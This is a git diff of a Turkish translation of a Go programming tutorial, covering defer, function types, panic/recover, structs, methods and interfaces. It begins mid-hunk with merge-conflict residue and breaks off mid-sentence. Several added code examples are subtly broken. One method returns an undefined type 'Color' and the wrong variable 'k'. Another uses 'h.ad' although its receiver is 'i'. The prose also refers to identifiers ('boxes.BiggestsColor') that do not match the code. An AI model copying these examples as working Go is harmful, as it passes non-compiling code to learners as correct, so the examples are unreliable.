file.Open("dosya") // Kod if hataX { -======= - func ReadWrite() bool { - file.Open("file") - // Do some work - if failureX { ->>>>>>> eead24cf064976b648de5826eab51880c803b0fa file.Close() return false } -<<<<<<< HEAD if hataY { -======= - if failureY { ->>>>>>> eead24cf064976b648de5826eab51880c803b0fa file.Close() return false } @@ -585,7 +351,6 @@ Go da iyi tasarlanmış `defer` (ertelemek) adlı bir terim vardır. Bir fonksiy Bazı kodların tekrar ettiğini görüyoruz. `defer` bu problemi çok iyi çözer. Daha temiz kod yazmanıza yardım etmekle kalmaz kodunuzu daha okunur yapar. -<<<<<<< HEAD func OkuYaz() bool { file.Open("dosya") defer file.Close() @@ -593,15 +358,6 @@ Bazı kodların tekrar ettiğini görüyoruz. `defer` bu problemi çok iyi çöz return false } if hataY { -======= - func ReadWrite() bool { - file.Open("file") - defer file.Close() - if failureX { - return false - } - if failureY { ->>>>>>> eead24cf064976b648de5826eab51880c803b0fa return false } return true @@ -615,48 +371,31 @@ Eğer birden fazla `defer` varsa ters sırayla çalışırlar. Sıradaki örnek ### Değer ve tür olarak fonksiyonlar -Go'da fonksiyonlar aynı zamanda değişken olabilirler. `type` onları kullanarak tanımlayabiliriz. Aynı imzaya sahip fonksiyonlar ayno tür olarak görülebilir. +Go'da fonksiyonlar aynı zamanda değişken olabilirler. `type` onları kullanarak tanımlayabiliriz. Aynı imzaya sahip fonksiyonlar aynı tür olarak görülebilir. -<<<<<<< HEAD type türAdı func(parametre1 tür1, parametre2 tür2 [, ...]) (çıkış1 tür1 [, ...]) -======= - type typeName func(input1 inputType1 , input2 inputType2 [, ...]) (result1 resultType1 [, ...]) ->>>>>>> eead24cf064976b648de5826eab51880c803b0fa Bunun avantajı nedir? Cevap, fonksiyonları değer olarak verebilmemizi sağlamasıdır. package main import "fmt" -<<<<<<< HEAD type testInt func(int) bool // değişken olarak fonksiyon tanımlandı func tekMi(sayı int) bool { if sayı%2 == 0 { -======= - type testInt func(int) bool // define a function type of variable - - func isOdd(integer int) bool { - if integer%2 == 0 { ->>>>>>> eead24cf064976b648de5826eab51880c803b0fa return false } return true } -<<<<<<< HEAD func çiftMi(sayı int) bool { if sayı%2 == 0 { -======= - func isEven(integer int) bool { - if integer%2 == 0 { ->>>>>>> eead24cf064976b648de5826eab51880c803b0fa return true } return false } -<<<<<<< HEAD // 'f' fonksiyonunu bir fonksiyona parametre olarak ata func filtre(slice []int, f testInt) []int { @@ -667,24 +406,11 @@ Bunun avantajı nedir? Cevap, fonksiyonları değer olarak verebilmemizi sağlam } } return sonuc -======= - // pass the function `f` as an argument to another function - - func filter(slice []int, f testInt) []int { - var result []int - for _, value := range slice { - if f(value) { - result = append(result, value) - } - } - return result ->>>>>>> eead24cf064976b648de5826eab51880c803b0fa } func main(){ slice := []int {1, 2, 3, 4, 5, 7} fmt.Println("slice = ", slice) -<<<<<<< HEAD tek := filtre(slice, tekMi) // fonksiyonu değer olarak kullan fmt.Println("Slice'daki tek sayılar: ", tek) çift := filtre(slice, çiftMi) @@ -692,15 +418,6 @@ Bunun avantajı nedir? Cevap, fonksiyonları değer olarak verebilmemizi sağlam } Interface kullanılan durumlarda çok yararlıdır. Gördüğünüz gibi `testInt` fonksiyon türünde bir değişkendir ve `filtre`'nin döndürdüğü argümanlar ve değerler `testInt` ile aynıdır. Böylelikle programlarımızda karmaşık mantık yürütebilir ve esneklik kazanabiliriz. -======= - odd := filter(slice, isOdd) // use function as values - fmt.Println("Odd elements of slice are: ", odd) - even := filter(slice, isEven) - fmt.Println("Even elements of slice are: ", even) - } - -Interface kullanılan durumlarda çok yararlıdır. Gördüğünüz gibi `testInt` fonksiyon türünde bir değişkendir ve `filter` ın döndürdüğü argümanlar ve değerler `testInt` ile aynıdır. Böylelikle programlarımızda karmaşık mantık yürütebilir ve esneklik kazanabiliriz. ->>>>>>> eead24cf064976b648de5826eab51880c803b0fa ### Panic ve Recover @@ -712,39 +429,23 @@ Go da Java gibi `try-catch` yapısı yoktur. Go exception fırlatmak yerine `pan Aşağıdaki örnekte `panic` nasıl kullanılır gösterilmiştir. -<<<<<<< HEAD var kullanıcı = os.Getenv("KULLANICI") func init() { if kullanıcı == "" { panic("$KULLANICI için bir değer bulunamadı") -======= - var user = os.Getenv("USER") - - func init() { - if user == "" { - panic("no value for $USER") ->>>>>>> eead24cf064976b648de5826eab51880c803b0fa } } Bu örnek de `panic` kontrolü yapılmasını gösterir. -<<<<<<< HEAD func panicYapar(f func()) (b bool) { -======= - func throwsPanic(f func()) (b bool) { ->>>>>>> eead24cf064976b648de5826eab51880c803b0fa defer func() { if x := recover(); x != nil { b = true } }() -<<<<<<< HEAD f() // eğer f() panic yaparsa recover yapılır -======= - f() // if f causes panic, it will recover ->>>>>>> eead24cf064976b648de5826eab51880c803b0fa return } @@ -758,11 +459,7 @@ Programlar işleme `main` paketinden başlar. Eğer `main` başka paketler dahil ![](images/2.3.init.png?raw=true) -<<<<<<< HEAD Şekil 2.6 Go da programların parafe edilmesinin akışı -======= -Figure 2.6 Go da programların parafe edilmesinin akışı ->>>>>>> eead24cf064976b648de5826eab51880c803b0fa ### import @@ -813,15 +510,9 @@ Paketler dahil edilirken kullanılan özel operatörler vardır ve bunlar geneld Bu operatör dahil edilen paketin sadece `init` fonksiyonun çağrılıp çalıştırılması için kullanılır. Paketteki diğer fonksiyonları kullanacağınıza emin değilseniz kullanabilirsiniz. -<<<<<<< HEAD + ## Linkler - [Rehber](preface.md) - Önceki bölüm: [Go temelleri](02.2.md) -======= -## Links - -- [Directory](preface.md) -- Önceki bölüm: [Go foundation](02.2.md) ->>>>>>> eead24cf064976b648de5826eab51880c803b0fa - Sonraki bölüm: [struct](02.4.md) diff --git a/tr/02.4.md b/tr/02.4.md new file mode 100644 index 000000000..5a82016ef --- /dev/null +++ b/tr/02.4.md @@ -0,0 +1,214 @@ +# 2.4 struct + +## struct + +Diğer programlama dillerinde olduğu gibi, Go'daki diğer özelliklerin veya alanların yeni tür konteynerlerini tanımlayabiliriz. Örneğin, bir kişiyi temsil etmek için alan adı ve yaşıyla birlikte `kişi` adında bir tür oluşturabiliriz. Bu türleri `struct` olarak adlandırıyoruz. +```Go +type kisi struct { + name string + age int +} +``` +`Struct` yapısını tanımlamanın ne kadar kolay olduğuna bir bakın! + +İki alan var. + +- `name` bir kişinin ismini saklamak için kullanılan bir `string` yapısıdır. +- `age` bir kişinin yaşını saklamak için kullanılan bir `int` yapısıdır. + +Nasıl kullanıldığını görelim. +```Go +type person struct { + name string + age int +} + +var P person // p person tipi + +P.name = "Astaxie" // p'nin `name` alanına "Astaxie" atayın +P.age = 25 // p'nin `age` alanına 25 atayın +fmt.Printf("The person's name is %s\n", P.name) // p'nin `name` alanını ekrana yazdırın +``` +Bir struct'ı başlatmanın üç yolu daha var. + +- İlk değerleri siparişe göre atama +```Go +P := person{"Tom", 25} +``` +- Struct'ı sırasız başlatmak için `field:value` biçimini kullanın +```Go +P := person{age:24, name:"Bob"} +``` +- Anonim bir struct tanımladıktan sonra başlatın +```Go +P := struct{name string; age int}{"Amy",18} +``` +Tamamlanmış bir örnek görelim. + +```Go +package main + +import "fmt" + +// yeni bir tür tanımlama +type person struct { + name string + age int +} + +// struct değere göre geçildi +// iki insanın yaşını karşılaştırır, sonra yaşlı olanı ve yaş farkını getirir. +func Older(p1, p2 person) (person, int) { + if p1.age > p2.age { + return p1, p1.age - p2.age + } + return p2, p2.age - p1.age +} + +func main() { + var tom person + + tom.name, tom.age = "Tom", 18 + bob := person{age: 25, name: "Bob"} + paul := person{"Paul", 43} + + tb_Older, tb_diff := Older(tom, bob) + tp_Older, tp_diff := Older(tom, paul) + bp_Older, bp_diff := Older(bob, paul) + + fmt.Printf("Of %s and %s, %s is older by %d years\n", tom.name, bob.name, tb_Older.name, tb_diff) + fmt.Printf("Of %s and %s, %s is older by %d years\n", tom.name, paul.name, tp_Older.name, tp_diff) + fmt.Printf("Of %s and %s, %s is older by %d years\n", bob.name, paul.name, bp_Older.name, bp_diff) +} +``` +### yapıya gömülü alanlar + +Daha önce alan adlarıyla ve türleriyle bir struct tanımlamayı öğrendik. Aslında Go alanları adları olmayan ancak türleriyle destekler. Bu gömülü alanları diyoruz. + +Gömülü alan bir struct olduğunda, o struct'taki tüm alanlar gömülü olduğu struct içindeki alanlar olacaktır. + +Bir örnek görelim. +```Go +package main + +import "fmt" + +type Human struct { + name string + age int + weight int +} + +type Student struct { + Human // gömülü alan Studen struct'ı Human'ın sahip olduğu tüm alanları içerir. + specialty string +} + +func main() { + // öğrenciyi somutlaştırın ve başlatın. + mark := Student{Human{"Mark", 25, 120}, "Computer Science"} + + // erişim alanları + fmt.Println("His name is ", mark.name) + fmt.Println("His age is ", mark.age) + fmt.Println("His weight is ", mark.weight) + fmt.Println("His specialty is ", mark.specialty) + + // mark'ın uzmanlık alanını değiştirin + mark.specialty = "AI" + fmt.Println("Mark changed his specialty") + fmt.Println("His specialty is ", mark.specialty) + + fmt.Println("Mark become old. He is not an athlete anymore") + mark.age = 46 + mark.weight += 60 + fmt.Println("His age is", mark.age) + fmt.Println("His weight is", mark.weight) +} + +``` +![](images/2.4.student_struct.png?raw=true) + +Şekil 2.7 Student'a ve Human'a Gömme + +Human'da olduğu gibi Student'taki `age` ve `name` alanlarına erişebildiğimizi görüyoruz. Bu gömülü alanların çalışma şeklidir. Çok havalı değil mi? Bekle, daha havalı bir şey var! Bu gömülü alanda Human'a erişmek için Student bile kullanabilirsin! +```Go +mark.Human = Human{"Marcus", 55, 220} +mark.Human.age -= 1 +``` +Go'daki tüm türler gömülü alanlar olarak kullanılabilir. +```Go +package main + +import "fmt" + +type Skills []string + +type Human struct { + name string + age int + weight int +} + +type Student struct { + Human // gömülü alan olarak struct + Skills // gömülü alan olarak string dilimi + int // gömülü alan olarak yerleşik tür + specialty string +} + +func main() { + // Student Jane'i başlat + jane := Student{Human: Human{"Jane", 35, 100}, specialty: "Biology"} + // erişim alanı + fmt.Println("Her name is ", jane.name) + fmt.Println("Her age is ", jane.age) + fmt.Println("Her weight is ", jane.weight) + fmt.Println("Her specialty is ", jane.specialty) + // beceri alanının değerini değiştir + jane.Skills = []string{"anatomy"} + fmt.Println("Her skills are ", jane.Skills) + fmt.Println("She acquired two new ones ") + jane.Skills = append(jane.Skills, "physics", "golang") + fmt.Println("Her skills now are ", jane.Skills) + // gömülü alanı değiştir + jane.int = 3 + fmt.Println("Her preferred number is ", jane.int) +} + +``` +Yukarıdaki örnekte, tüm türlerin gömülü alanlar olabileceğini görebilir ve üzerinde çalışmak için işlevleri kullanabiliriz. + +Ancak bir sorun daha var. Human'ın `phone` adında bir alanı varsa ve Student'ta aynı adı taşıyan bir alan varsa ne yapmalıyız? + +Hadi çözmek için çok basit bir yol kullan. Dış alanlar daha yüksek erişim seviyelerine sahip olur, yani “student.phone” 'a eriştiğinizde, Human struct'ında değil Student olarak telefon denilen alanı elde ederiz. Bu özellik basitçe alan `aşırı yüklemesi` olarak görülebilir. +```Go +package main + +import "fmt" + +type Human struct { + name string + age int + phone string // Human bir telefon alanına sahip +} + +type Employee struct { + Human + specialty string + phone string // çalışan telefon +} + +func main() { + Bob := Employee{Human{"Bob", 34, "777-444-XXXX"}, "Designer", "333-222"} + + fmt.Println("Bob's work phone is:", Bob.phone) + fmt.Println("Bob's personal phone is:", Bob.Human.phone) +} + +``` +## Links + +- [Rehber](preface.md) +- Önceki bölüm: [Kontrol ifadeleri ve fonksiyonlar](02.3.md) +- Sonraki bölüm: [Nesne-Yönelim](02.5.md) diff --git a/tr/02.5.md b/tr/02.5.md new file mode 100644 index 000000000..aa7873849 --- /dev/null +++ b/tr/02.5.md @@ -0,0 +1,321 @@ +# Nesne-Yönelim + +Son iki bölüm de fonksiyonlar ve `struct` hakkında konuştuk, ancak fonksiyonları `struct` ın bir alanı olarak kullanmayı düşündünüz mü? Bu bölümde, alıcısı olan `method` olarak adlandırılan başka bir fonksiyon biçimi tanıtacağım. + +## method + +Bir "Dikdortgen" struct tanımladığınızı ve onun alanını hesaplamak istediğinizi varsayalım. Bu amaca ulaşmak için genellikle aşağıdaki kodu kullanırdık. +```Go +package main + +import "fmt" + +type Dikdortgen struct { + genislik, yukseklik float64 +} + +func alan(d Dikdortgen) float64 { + return d.genislik * d.yukseklik +} + +func main() { + d1 := Dikdortgen{12, 2} + d2 := Dikdortgen{9, 4} + fmt.Println("d1 in alanı: ", alan(d1)) + fmt.Println("d2 nin alanı: ", alan(d2)) +} + +``` +Yukarıdaki örnek bir Dikdortgen'in alanını hesaplayabilir. Burada `alan` isimli fonksiyonu kullanıyoruz, fakat bu fonksiyon Dikdortgen struct'ının bir method u değil(klasik nesne yönelimli dillerdeki sınıf nethodları gibi). Fark edebileceğiniz gibi fonksiyon ve struct iki bağımsız şeydir. + +Şimdiye kadar sorun değil. Bununla birlikte, bir dairenin, karenin, beşgenin veya başka herhangi bir şeklin alanını da hesaplamanız gerekiyorsa, çok benzer adlara sahip ek fonksiyonlar eklemeniz gerekecektir. + +![](images/2.5.rect_func_without_receiver.png?raw=true) + +Şekil 2.8 Fonksiyon ve struct arasındaki ilişki + +Açıkçası bu hiç hoş değil. Ayrıca, alan fonksiyonu bir dairenin veya dikdörtgenin özelliği olmalıdır. + +İşte `method` un devreye gireceği nokta burasıdır. `method`, bir türe/tipe bağlı fonksiyondur. `func` anahtar sözcüğünün, bu methodun ana gövdesi olan `receiver` adlı bit parametreye sahip olması haricinde, fonksiyonlara benzer bir sözdizimi vardır. + +Aynı örneği kullanarak, `Dikdortgen.Alan()` çevresel bir fonksiyon olması yerine doğrudan Dikdortgen'e ait bir methoddur. Daha spesifik olarak, `yukseklik`, `genislik` ve `Alan()` hepsi Dikdortgen'e aittir. + +Rob Pike'ın dediği gibi. + + "Bir method, alıcı olarak adlandırılan ilk örtülü argüman olan bir fonksiyondur." + +method sözdimi. +```Go +func (r ReceiverType) funcName(parameters) (results) +``` +Örneğimizi `method` kullanarak değiştirelim. +```Go +package main + +import ( + "fmt" + "math" +) + +type Daire struct { + yaricap float64 +} + +type Dikdortgen struct { + genislik, yukseklik float64 +} + +// method +func (daire Daire) Alan() float64 { + return daire.yaricap * daire.yaricap * math.Pi +} + +// method +func (dikdortgen Dikdortgen) Alan() float64 { + return dikdortgen.genislik * dikdortgen.yukseklik +} + +func main() { + daire1 := Daire{10} + daire2 := Daire{25} + dikdortgen1 := Dikdortgen{9, 4} + dikdortgen2 := Dikdortgen{12, 2} + + fmt.Println("daire1 in alanı: ", daire1.Alan()) + fmt.Println("daire2 nin alanı: ", daire2.Alan()) + fmt.Println("dikdortgen1 in alanı: ", dikdortgen1.Alan()) + fmt.Println("dikdortgen2 nin alanı: ", dikdortgen2.Alan()) +} +``` + +Methodları kullanma notları. + +- Methodların adı aynıysa ancak aynı alıcıları paylaşmıyorlarsa, aynı değildirler. +- Methodlar alıcılardaki alanlara erişebilirler. +- Bir `struct` da method çağırmak için `.` kullanın, aynı şekilde alanları da çağırabilirsiniz. + +![](images/2.5.shapes_func_with_receiver_cp.png?raw=true) + +Şekil 2.9 Methodlar farklı struct larda farklıdırlar. + +Yukarıdaki örnekte Alan() methodu hem Dikdortgen hem de Daire'de mevcuttur, bu nedenle alıcıları Dikdortgen ve Daire'dir. + +Önemsiz bir detay olarak bir method noktalı çizgi ile kullanılmışsa anlamı alıcıya referans olarak değil değer olarak geçirilmiştir demektir. Aralarındaki fark, bir methodun, alıcısı referansla geçildiğinde alıcının değerlerini değiştirebilmesi ve değer olarak geçildiğinde ise alıcının bir kopyasını almasıdır. + +Alıcı sadece bir struct'mı olmalıdır? Tabii ki değil. Herhangibir tür/tip methodun alıcısı olabilir. Özelleştirilmiş türler/tipler hakkında kafanız karışabilir. struct özel bir tür/tip dir - daha birçok özelleştirilmiş tür/tip yer almaktadır. + +Özelleştirilmiş bir tür/tip tanımlamak için aşağıdaki formatı kullanın. +```Go +type typeName typeLiteral +``` +Özelleştirilmiş türler/tipler e örnekler: + +```Go +type yas int +type fiyat float32 +type aylar map[string]int + +a := aylar { + "Ocak":31, + "Şubat":28, + ... + "Aralık":31, +} +``` + +Özelleştirilmiş türlerin/tiplerin artık nasıl kullanılacağını biliyorsunuz. C programlama dilindeki `typedef` ifadesine benzer bir şekilde, yukarıdaki örnekte `int` yerine `yas` kullanıyoruz. + +`method` hakkında konuşmaya geri dönelim. + +Özelleştirilmiş türler/tipler de istediğiniz kadar method kullanabilirsiniz. +```Go +package main + +import "fmt" + +const ( + BEYAZ = iota + SIYAH + MAVI + KIRMIZI + SARI +) + +type Kutu struct { + genislik, yukseklik, derinlik float64 + renk Renk +} +type Renk byte +type KutuListesi []Kutu //kutu listesi + +// method +func (kutu Kutu) Hacim() float64 { + return kutu.genislik * kutu.yukseklik * kutu.derinlik +} + +// işaretçi alıcılı method +func (k *Kutu) RenkAta(r Renk) { + k.renk = r +} + +// method +func (kl KutuListesi) EnBuyuklerininRengi() Color { + h := 0.00 + r := Renk(BEYAZ) + for _, k := range kl { + if k.Hacim() > h { + h = k.Hacim() + r = k.renk + } + } + return k +} + +// method +func (kl KutuListesi) SiyahaBoya() { + for i, _ := range kl { + kl[i].RenkAta(SIYAH) + } +} + +// method +func (r Renk) String() string { + strings := []string{"BEYAZ", "SIYAH", "MAVI", "KIRMIZI", "SARI"} + return strings[r] +} + +func main() { + kutular := KutuListesi{ + Kutu{4, 4, 4, KIRMIZI}, + Kutu{10, 10, 1, SARI}, + Kutu{1, 1, 20, SIYAH}, + Kutu{10, 10, 1, MAVI}, + Kutu{10, 30, 1, BEYAZ}, + Kutu{20, 20, 20, SARI}, + } + + fmt.Printf("%d adet kutumuz var\n", len(kutular)) + fmt.Println("İlk kutunun hacmi ", kutular[0].Hacim(), "cm³") + fmt.Println("Son kutunun rengi", kutular[len(kutular)-1].renk.String()) + fmt.Println("En büyük kutu", kutular.EnBuyuklerininRengi().String()) + + // Hepsini siyaha boyayalım + kutular.SiyahaBoya() + + fmt.Println("İkinci kutunun rengi", kutular[1].renk.String()) + fmt.Println("En büyüğü", kutular.EnBuyuklerininRengi().String()) +} +``` + +Bazı sabitleri ve özelleştirilmiş tür/tipleri tanımlarız + +- `Renk`'i `byte` 'ın takma adı olarak kullanın. +- Hacim, yukseklik, genislik, derinlik ve renk alanlarını içeren `Kutu` struct ını tanımlayın. +- `Kutu` yu alanı olarak alan `KutuListesi` strruct ı tanımlayın. + +Daha sonra özelleştirilmiş türlerimiz/tiplerimiz için bazı methodlar tanımladık. + +- `Hacim()` Kutu yu alıcısı olarak kullanır ve onun hacmini döndürür. +- `RenkAta(r Renk)` Kutu'nun rengini değiştirir. +- `EnBuyuklerininRengi()` en büyük hacimli Kutu'nun rengini döndürür. +- `SiyahaBoya()` KutuListesi içindeki tüm Kutu'ların rengini SIYAH yapar. +- `String()` Renk'i alıcısı olarak kullanır ve Renk adını string olarak döndürür. + +Gereksinimlerimizi tanımlamak için kelimeler kullandığımız zaman daha açıklayıcı değil mi? + +### İşaretçiyi alıcı olarak kullanmak + +RenkAta metoduna bir göz atalım. Alıcısı Kutunun bir işaretçisidir. Evet, `*Kutu`yu alıcı olarak kullanabilirsiniz. Neden burada bir işaretçi kullanıyoruz? Çünkü bu methodda Kutu'nun rengini değiştirmek istiyoruz. Dolayısıyla, bir işaretçi kullanmazsak, bu yalnızca Kutu'nun kopyasındaki değeri değiştirir. + +Bir alıcının bir methodun ilk argümanı olduğunu görürsek, nasıl çalıştığını anlamak zor değildir. + +Neden RenkAta() methodunda `k.Renk = r` yerine` (*k).Renk = r` kullanmadığımızı soruyor olabilirsiniz. Her iki kullanımda da sorun yok çünkü Go bu görevi nasıl gerçekleştireceğini bilir. Şimdi Go'nun daha büyüleyici olduğunu düşünmüyor musunuz? + +Ayrıca `SiyahaBoya` methodunda da neden `(&kl[i]).RenkAta(SIYAH)` kullanıp kullanmamamız gerektiğini de sorabilirsiniz. Çünkü `RenkAta` methoduna bir işaretçi geçmişizdir zaten. Yine iki kullanımda Go için problem değil, ikisinin de nasıl yorumlanacağını bilir! + +### method kalıtımı + +Son bölümde alanların kalıtımını öğrendik. Benzer şekilde Go'da method kalıtımı da vardır. Eğer anonim bir alanın methodları varsa, alanı içeren struct da ondaki tüm methodlara sahip olacaktır. +```Go +package main + +import "fmt" + +type Insan struct { + ad string + yas int + telefon string +} + +type Ogrenci struct { + Insan // anonymous field + okul string +} + +type Calisan struct { + Insan + sirket string +} + +// Insan içinde bir method tanımı +func (i *Insan) Merhaba() { + fmt.Printf("Merhaba, Benim adım %s. Bana %s nolu telefondan ulaşabilirsiniz.\n", i.ad, i.telefon) +} + +func main() { + murat := Calisan{Insan{"Murat", 45, "555 5555555"}, "Golang Inc"} + adem := Ogrenci{Insan{"Adem", 25, "555 5555556"}, "MIT"} + + murat.Merhaba() + adem.Merhaba() +} +``` +### Method Overriding + +Eğer Calisan'ın kendi `Merhaba` methoduna sahip olmasını istiyorsak, Calisan'da aynı adı tasıyan bir method tanımlayabiliriz ve böylece `Merhaba` methodunu çağırdığımızda Insan içinde tanımlı olan method gizlenecektir. +```Go +package main + +import "fmt" + +type Insan struct { + ad string + yas int + telefon string +} + +type Ogrenci struct { + Insan + okul string +} + +type Calisan struct { + Insan + sirket string +} + +func (i *Insan) Merhaba() { + fmt.Printf("Merhaba, Benim adım %s. Bana %s nolu telefondan ulaşabilirsiniz.\n", i.ad, i.telefon) +} + +func (c *Calisan) Merhaba() { + fmt.Printf("Merhaba, Benim adım %s, %s şirketinde çalışıyorum. Bana %s bu numaradan ulaşabilirsiniz.\n", c.ad, + c.sirket, c.telefon) //Evet burada iki satıra ayırarak yazabilirsiniz. +} + +func main() { + murat := Calisan{Insan{"Murat", 45, "555 5555555"}, "Golang Inc"} + adem := Ogrenci{Insan{"Adem", 25, "555 5555556"}, "MIT"} + + murat.Merhaba() + adem.Merhaba() +} + +``` +Artık Nesne-yönelimli program yazabiliyorsunuz. methodların dışarıya açık olup olmayacağını(public/private) method isminin ilk harfini büyük/küçük yaparak sağlayabilirsiniz. + +## Links + +- [Rehber](preface.md) +- Önceki bölüm: [struct](02.4.md) +- Sonraki bölüm: [interface](02.6.md) diff --git a/tr/02.6.md b/tr/02.6.md new file mode 100644 index 000000000..85aff9bcf --- /dev/null +++ b/tr/02.6.md @@ -0,0 +1,412 @@ +# 2.6 Interface + +## Interface (Arabirim) + +Go' nun göze çarpan özelliklerinden biri interfacelerdir. Türkçeye arabirim diyerek de çevrilebilir. Bu bölümü okuduktan sonra, interfacelerin kullanımı muhtemelen anlamış olacaksınız. + +### Interface nedir? + +Interface bir grup methodun özelliklerini, yapması gerekenleri tanımlamak için kullandığımız bir sooyutlama yöntemidir. Nesnelere uygulanacak kontrat ya da şartad olarak düşünebiliriz. + +Önceki bölümlerdeki gibi, Ogrenci hem de Calisan `Merhaba()` yapabilir, ancak aynı şeyi yapmış olmazlar. + +Ogrenciye `BorcPara()` , Calisana ise `MaasHarca () ` ve `SarkiSoyle ()` yöntemi ekleyeceğiz. + +Şimdi, Ogrenci'nin `Merhaba ()`,`SarkiSoyle () `ve` BorcPara () `olarak üç methodu, Calisan'ın ise `Merhaba () `,`SarkiSoyle () `ve` MaasHarca () ` methodları vardır. + +Bu yöntem topluluğuna interface(arairim) denir ve hem Ogrenci hem de Calisan tarafından uygulanır. Böylece, Ogrenci ve Calisan `Merhaba ()` ve `SarkiSoyle ()` interfacelerini uygulamış olur. +Bununla birlikte, Calisan `BorcPara ()`, Ogrenci ise `MaasHarca ()` arayüzünü uygulamıyor. Bunun nedeni Calisan'ın `BorcPara ()` , Ogrenci'nin ise `MaasHarca ()` yöntemine sahip olmamasıdır. + +### Interface Type'ları (türleri) + +Interface'ler aslında bir dizi methodtur yani eğer type, tüm interface methodlarını uygularsa biz ona interface'i implemente ediyor(uyguluyor) deriz. + +```Go +type Insan struct { + ad string + yas int + telefon string +} + +type Ogrenci struct { + Insan + okul string + kredi float32 +} + +type Calisan struct { + Insan + sirket string + para float32 +} + +// define interfaces +type Adamlar interface { + Merhaba() + SarkiSoyle(sarkiSozu string) + HunharcaYemek(beerStein string) +} + +type Delikanli interface { + Merhaba() + SarkiSoyle(song string) + BorcPara(amount float32) +} + +type IhtiyarDelikanli interface { + Merhaba() + SarkiSoyle(song string) + MaasHarca(amount float32) +} + +func (i *Insan) Merhaba() { + fmt.Printf("Selam, Ben %s beni şöyle çağırabilirsin %s\n", h.ad, h.telefon) +} + +func (i *Insan) SarkiSoyle(sarkiSozu string) { + fmt.Println("La la, la la la, la la la la la...", sarkiSozu) +} + +func (i *Insan) HunharcaYemek(beerStein string) { + fmt.Println("Yumm yumm yummm hunharca tüketiyorum...", beerStein) +} + +// Calisan overloads Merhaba +func (e *Calisan) Merhaba() { + fmt.Printf("Selam, ben %s, %s 'de calısıyorum. Beni söyle cağırabilirsin %s\n", e.ad, + e.sirket, e.telefon) +} + +func (s *Ogrenci) BorcPara(amount float32) { + s.kredi += amount +} + +func (e *Calisan) MaasHarca(amount float32) { + e.para -= amount +} +``` +Artık interface'in herhangi bir type(tür) tarafından uygulanabileceğini ve bir type'ın aynı anda birçok interface'i uygulayabileceğini biliyoruz. + +Herhangi bir type'ın boş `interface {}` uyguladığını unutmayın, çünkü herhangi bir methodu yoktur ve tüm typeların varsayılan olarak sıfır methodu vardır. + +### Interface degeri + +Peki interface' e ne tür değerler koyulabilir? Bir değişkeni, type interface olarak tanımlarsak, interface'i uygulayan herhangi bir type bu değişkene atanabilir. + +Aşağıdaki örnekte olduğu gibi, Adamlar' a interface olarak bir "m" değişkeni tanımlarsak, Ogrenci, Insan veya Calisan'dan herhangi biri "m" değişkenine atanabilir. Ve elimizde Adamlar' dan bir parça(slice) olabilir. Ve Adamlar' ı implement eden(uygulayan) herhangi bir type'dan bir parça' da bu değişkene atanabilir. + + + ```Go +package main + +import "fmt" + +type Insan struct { + ad string + yas int + telefon string +} + +type Ogrenci struct { + Insan + okul string + kredi float32 +} + +type Calisan struct { + Insan + sirket string + para float32 +} + +// Interface Adamlar, Insan'dan implemente edildi. +type Adamlar interface { + Merhaba() + SarkiSoyle(sarkiSozu string) +} + +// method +func (h Insan) Merhaba() { + fmt.Printf("Selam, Ben %s, Beni şu numaradan arayabilrsin: %s\n", h.ad, h.telefon) +} + +// method +func (h Insan) SarkiSoyle(sarkiSozu string) { + fmt.Println("La la la la...", sarkiSozu) +} + +// method +func (e Calisan) Merhaba() { + fmt.Printf("Selam, ben %s, %s ' da çalışıyorum. Beni şu numaradan arayabilrsin: %s\n", e.ad, + e.sirket, e.telefon) //Evet, iki satıra ayırabiliriz. +} + +func main() { + ali := Ogrenci{Insan{"Ali", 20, "222-222-XXX"}, "ODTU", 0.00} + ahmet := Ogrenci{Insan{"Ahmet", 21, "111-222-XXX"}, "ITU", 100} + mehmet := Calisan{Insan{"Mehmet", 36, "444-222-XXX"}, "Golang Inc.", 1000} + veli := Calisan{Insan{"Veli", 36, "444-222-XXX"}, "Things Ltd.", 5000} + + // i interface'ini tanımlayalım. + var i Adamlar + + //Ogrenci' yi tutabilirm + i = ali + fmt.Println("Öğrenci the Ali basliyor :D :") + i.Merhaba() + i.SarkiSoyle("November rain") + + //Calisan ' tutabilirim. + i = veli + fmt.Println("Veli bir Calisan:") + i.Merhaba() + i.SarkiSoyle("Uykusuz her gece, yorgun ölesiye!") + + // Adamlar 'dan parçalar/dilimler(slice) + fmt.Println("Adamlar' ı dilimlere ayıralım ve n'olacağını görelim.") + x := make([]Adamlar, 3) + // Bu üç element farklı türdeler fakat hepsi Adamlar interface'ini uyguluyor/implement ediyor. + x[0], x[1], x[2] = ali, ahmet, mehmet + + for _, value := range x { + value.Merhaba() + } +} +``` +Interface kendini implement edemez. + +### Boş interface + +Boş interface, herhangi bir method içermeyen bir interface'dir. Bu nedenle tüm type'lar boş bir interface uygular. Bu durum, tüm türleri tek noktada saklamak istediğimizde çok kullanışlıdır ve C'deki void * 'e benzer. +```Go +// boş interface uygulaması +var bos interface{} + +// degiskenler +i := 5 +s := "Selam dünya" + +// herhangi bir türden veri tutabilir. +bos = i +bos = s +``` + +Eğer bir fonskiyon değişken türü olarak boş interface kullanıyorsa, herhangi bir türü kabul edebilir; bir fonksiyon dönüş değeri türü olarak boş interface kullanıyorsa, herhangi bir türü döndürebilir. + +### Interface'in method argümanları + +Herhangi bir değişken bir arayüzde kullanılabilir. Peki bu özelliği herhangi bir değişkeni bir fonksiyona geçirmek için nasıl kullanabiliriz? + +Örneğin, fmt.Println'i çok kullanıyoruz, ancak herhangi bir argümanı kabul edebileceğini hiç fark ettiniz mi? "Fmt" nin açık kaynak koduna baktığımızda, aşağıdaki tanımı görüyoruz. + +```Go +type Stringer interface { + String() string +} +``` +Bu, Stringer interface'ini uygulayan herhangi bir türün bağımsız değişken olarak fmt.Println'ye geçirilebileceği anlamına gelir. Kanıtlayalım. +```Go +package main + +import ( + "fmt" + "strconv" +) + +type Insan struct { + ad string + yas int + telefon string +} + +// Insan implements fmt.Stringer +func (h Insan) String() string { + return "ad:" + h.ad + ", yas:" + strconv.Itoa(h.yas) + ", Contact:" + h.telefon +} + +func main() { + isik := Insan{"Isik", 25, "000-7777-XXX"} + fmt.Println("Bu kişi: ", isik) +} +``` + +Asagıdaki box örneğine baktığımızda, Color'ın Stringer interface'ini de uyguladığını göreceksiniz, böylece yazdırma biçimini özelleştirebiliyoruz. Eğer ki bu interface'i uygulamazsak, fmt.Println türü varsayılan biçimiyle yazdırır. +```Go +fmt.Println("En büyük", boxes.BiggestsColor().String()) +fmt.Println("En büyük", boxes.BiggestsColor()) +``` +Uyarı: Eğer type ` error interface'ini uyguladıysa, fmt `Error () ' olarak adlandırır, bu nedenle 